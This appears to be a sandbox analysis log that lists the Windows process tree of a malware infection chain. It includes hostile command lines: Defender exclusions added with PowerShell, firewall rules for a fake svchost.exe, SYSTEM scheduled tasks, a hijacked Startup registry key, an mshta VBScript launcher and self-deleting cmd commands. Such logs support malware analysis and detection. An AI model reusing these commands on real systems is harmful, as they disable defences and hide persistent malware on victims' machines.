C:\Users\Admin\AppData\Local\Temp\bdsbfds.exe"C:\Users\Admin\AppData\Local\Temp\bdsbfds.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\clip.exe"C:\Users\Admin\AppData\Local\Temp\clip.exe"4⤵
-
C:\Users\Admin\Pictures\Adobe Films\AOHBHq1Q409ZqSG_o1RnrygW.exe"C:\Users\Admin\Pictures\Adobe Films\AOHBHq1Q409ZqSG_o1RnrygW.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\4921791.exe"C:\Users\Admin\AppData\Roaming\4921791.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\2237993.exe"C:\Users\Admin\AppData\Roaming\2237993.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\7943670.exe"C:\Users\Admin\AppData\Roaming\7943670.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\7414479.exe"C:\Users\Admin\AppData\Roaming\7414479.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\620734.exe"C:\Users\Admin\AppData\Roaming\620734.exe"3⤵
-
C:\Users\Admin\AppData\Roaming\7356517.exe"C:\Users\Admin\AppData\Roaming\7356517.exe"3⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vBscrIPT: CLose ( cREaTeobJEcT ( "WscRipT.SHelL" ). rUN ( "CMD.exe /Q /R cOPy /Y ""C:\Users\Admin\AppData\Roaming\7356517.exe"" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF """"== """" for %m IN ( ""C:\Users\Admin\AppData\Roaming\7356517.exe"" ) do taskkill /F /IM ""%~nXm"" " , 0 , TRue ) )4⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /R cOPy /Y "C:\Users\Admin\AppData\Roaming\7356517.exe" ..\UpJnOk3Yn_BZ21.EXe &&STARt ..\UPJnOK3YN_bz21.EXE /p046ZeOV5fN93E5 & iF ""== "" for %m IN ( "C:\Users\Admin\AppData\Roaming\7356517.exe" ) do taskkill /F /IM "%~nXm"5⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM "7356517.exe"6⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Roaming\3817411.exe"C:\Users\Admin\AppData\Roaming\3817411.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\ymHT5RIWRX7ivW7o0BQ5kmjA.exe"C:\Users\Admin\Pictures\Adobe Films\ymHT5RIWRX7ivW7o0BQ5kmjA.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\vCoi5TvrZvAON48Bx3GJbl5h.exe"C:\Users\Admin\Pictures\Adobe Films\vCoi5TvrZvAON48Bx3GJbl5h.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\hfTr98M7muaJ9k8OrnutS3ZD.exe"C:\Users\Admin\Pictures\Adobe Films\hfTr98M7muaJ9k8OrnutS3ZD.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\bA0DEpiImOTUqsH6YdF80xJz.exe"C:\Users\Admin\Pictures\Adobe Films\bA0DEpiImOTUqsH6YdF80xJz.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\bA0DEpiImOTUqsH6YdF80xJz.exe" & exit3⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 54⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\BqIf_L_Y5U_oLbpsnK_dEEwt.exe"C:\Users\Admin\Pictures\Adobe Films\BqIf_L_Y5U_oLbpsnK_dEEwt.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\BqIf_L_Y5U_oLbpsnK_dEEwt.exe"C:\Users\Admin\Pictures\Adobe Films\BqIf_L_Y5U_oLbpsnK_dEEwt.exe"3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8420 -s 7764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6164 -s 8403⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\2rJ3c3M0d_EFaHayc2fUhKjQ.exe"C:\Users\Admin\Pictures\Adobe Films\2rJ3c3M0d_EFaHayc2fUhKjQ.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
- Executes dropped EXE
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
-
C:\Users\Admin\Pictures\Adobe Films\eACUNSrYLTRR9J977_APq8aI.exe"C:\Users\Admin\Pictures\Adobe Films\eACUNSrYLTRR9J977_APq8aI.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\7JLhwdwyw32y0vpsbm1jGHil.exe"C:\Users\Admin\Pictures\Adobe Films\7JLhwdwyw32y0vpsbm1jGHil.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\ruKGtIUqJbFCxdCwSvMBSmrH.exe"C:\Users\Admin\Pictures\Adobe Films\ruKGtIUqJbFCxdCwSvMBSmrH.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\QFZReouNt4dfRR9Em3U0_PEo.exe"C:\Users\Admin\Pictures\Adobe Films\QFZReouNt4dfRR9Em3U0_PEo.exe"2⤵
-
C:\Users\Admin\Pictures\Adobe Films\QFZReouNt4dfRR9Em3U0_PEo.exe"C:\Users\Admin\Pictures\Adobe Films\QFZReouNt4dfRR9Em3U0_PEo.exe"3⤵
-
C:\Users\Admin\Pictures\Adobe Films\ghe5uUT1cAIaJMnQqxlWTtWH.exe"C:\Users\Admin\Pictures\Adobe Films\ghe5uUT1cAIaJMnQqxlWTtWH.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\is-602EA.tmp\ghe5uUT1cAIaJMnQqxlWTtWH.tmp"C:\Users\Admin\AppData\Local\Temp\is-602EA.tmp\ghe5uUT1cAIaJMnQqxlWTtWH.tmp" /SL5="$701D6,506127,422400,C:\Users\Admin\Pictures\Adobe Films\ghe5uUT1cAIaJMnQqxlWTtWH.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4MK64.tmp\lakazet.exe"C:\Users\Admin\AppData\Local\Temp\is-4MK64.tmp\lakazet.exe" /S /UID=27094⤵
-
C:\Users\Admin\AppData\Local\Temp\a6-5a4b3-44f-9f7ae-4dc0e208b2782\Hocatukaery.exe"C:\Users\Admin\AppData\Local\Temp\a6-5a4b3-44f-9f7ae-4dc0e208b2782\Hocatukaery.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\8e-59c16-66b-f20a9-f77e40a3d6030\Lesohyqifa.exe"C:\Users\Admin\AppData\Local\Temp\8e-59c16-66b-f20a9-f77e40a3d6030\Lesohyqifa.exe"5⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zbem3vmb.vss\installer.exe /qn CAMPAIGN="654" & exit6⤵
-
C:\Users\Admin\AppData\Local\Temp\zbem3vmb.vss\installer.exeC:\Users\Admin\AppData\Local\Temp\zbem3vmb.vss\installer.exe /qn CAMPAIGN="654"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a05oipso.vpl\any.exe & exit6⤵
-
C:\Users\Admin\AppData\Local\Temp\a05oipso.vpl\any.exeC:\Users\Admin\AppData\Local\Temp\a05oipso.vpl\any.exe7⤵
-
C:\Users\Admin\AppData\Local\Temp\a05oipso.vpl\any.exe"C:\Users\Admin\AppData\Local\Temp\a05oipso.vpl\any.exe" -u8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3mcy0yak.qwk\autosubplayer.exe /S & exit6⤵
-
C:\Program Files\Windows Multimedia Platform\XAFVOKVNBT\foldershare.exe"C:\Program Files\Windows Multimedia Platform\XAFVOKVNBT\foldershare.exe" /VERYSILENT5⤵
-
C:\Users\Admin\Pictures\Adobe Films\VKZjF5YXpJe6bhnAjM1fn57J.exe"C:\Users\Admin\Pictures\Adobe Films\VKZjF5YXpJe6bhnAjM1fn57J.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im VKZjF5YXpJe6bhnAjM1fn57J.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\VKZjF5YXpJe6bhnAjM1fn57J.exe" & del C:\ProgramData\*.dll & exit3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im VKZjF5YXpJe6bhnAjM1fn57J.exe /f4⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Pictures\Adobe Films\FLdZtZLgxQ960VbJxcXP4cZr.exe"C:\Users\Admin\Pictures\Adobe Films\FLdZtZLgxQ960VbJxcXP4cZr.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--cSExK3QD"4⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1f8,0x1fc,0x200,0x1d4,0x204,0x7ffbb955dec0,0x7ffbb955ded0,0x7ffbb955dee05⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff7d2869e70,0x7ff7d2869e80,0x7ff7d2869e906⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1620,15764631645635178442,6891196397890462409,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5528_1311514394" --mojo-platform-channel-handle=1636 /prefetch:85⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat163b771375.exeSat163b771375.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat163b771375.exe"C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat163b771375.exe" -u2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1624bfc23ff9f.exeSat1624bfc23ff9f.exe /mixtwo1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Sat1624bfc23ff9f.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1624bfc23ff9f.exe" & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Sat1624bfc23ff9f.exe" /f3⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16156abf9c.exeSat16156abf9c.exe1⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Sat16156abf9c.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16156abf9c.exe" & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Sat16156abf9c.exe" /f3⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16066e28b50208.exeC:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat16066e28b50208.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat1612020d5c.exeSat1612020d5c.exe1⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\3⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\2303a34fa8\4⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN tkools.exe /TR "C:\Users\Admin\AppData\Local\Temp\2303a34fa8\tkools.exe" /F3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\soul3ss_crypted%281%29\soul3ss_crypted%281%29.exe"C:\Users\Admin\AppData\Local\Temp\soul3ss_crypted%281%29\soul3ss_crypted%281%29.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 344 -s 5564⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\superwiser_crypted\superwiser_crypted.exe"C:\Users\Admin\AppData\Local\Temp\superwiser_crypted\superwiser_crypted.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-BD2M2.tmp\Sat169c60f22b8.tmp"C:\Users\Admin\AppData\Local\Temp\is-BD2M2.tmp\Sat169c60f22b8.tmp" /SL5="$40084,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat169c60f22b8.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat169c60f22b8.exe"C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat169c60f22b8.exe" /SILENT2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-7P2F3.tmp\Sat169c60f22b8.tmp"C:\Users\Admin\AppData\Local\Temp\is-7P2F3.tmp\Sat169c60f22b8.tmp" /SL5="$301A8,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0F045AA5\Sat169c60f22b8.exe" /SILENT1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
-
C:\Users\Admin\AppData\Local\Temp\is-9QRVO.tmp\postback.exe"C:\Users\Admin\AppData\Local\Temp\is-9QRVO.tmp\postback.exe" ss12⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\8937.exeC:\Users\Admin\AppData\Local\Temp\8937.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"2⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5F7CB4B07849D81591A7F287C0AF0CC0 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 845D7D424471A83C829BD9D9DE3469F7 C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding C2C64EBFAFEE955690D389971C6A2BC72⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\RequiredApplication_1\Settings%20Installation.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\RequiredApplication_1\Settings%20Installation.exe" -silent=1 -CID=778 -SID=778 -submn=default3⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" "--cSExK3QD"4⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exeC:\Users\Admin\AppData\Roaming\Settings\Settings.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Settings\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Settings\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Settings\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Settings\User Data" --annotation=plat=Win64 --annotation=prod=Settings --annotation=ver=0.0.13 --initial-client-data=0x2a0,0x2a4,0x2a8,0x27c,0x2ac,0x7ffba01edec0,0x7ffba01eded0,0x7ffba01edee05⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exeC:\Users\Admin\AppData\Roaming\Settings\Settings.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Settings\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Settings\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Settings --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff76fe99e70,0x7ff76fe99e80,0x7ff76fe99e906⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=2040 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Settings\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2432 /prefetch:15⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=1720 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Settings\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2608 /prefetch:15⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=gpu-process --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1672 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=3136 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=gpu-process --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3288 /prefetch:25⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=3580 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=3376 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=1644 /prefetch:85⤵
-
C:\Users\Admin\AppData\Roaming\Settings\Settings.exe"C:\Users\Admin\AppData\Roaming\Settings\Settings.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,18275523310414747578,17953320349736785148,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Settings\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5440_1954413398" --mojo-platform-channel-handle=3384 /prefetch:85⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_7C8D.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Settings\Settings\prerequisites' -retry_count 10"3⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 524F1891FE4839CE3F6B6328145FC3672⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4933045ED70323223AE0F4F6A021E29B E Global\MSI00002⤵
-
C:\Users\Admin\AppData\Local\Temp\CE6F.exeC:\Users\Admin\AppData\Local\Temp\CE6F.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\CE6F.exeC:\Users\Admin\AppData\Local\Temp\CE6F.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\2DE.exeC:\Users\Admin\AppData\Local\Temp\2DE.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\2DE.exeC:\Users\Admin\AppData\Local\Temp\2DE.exe2⤵
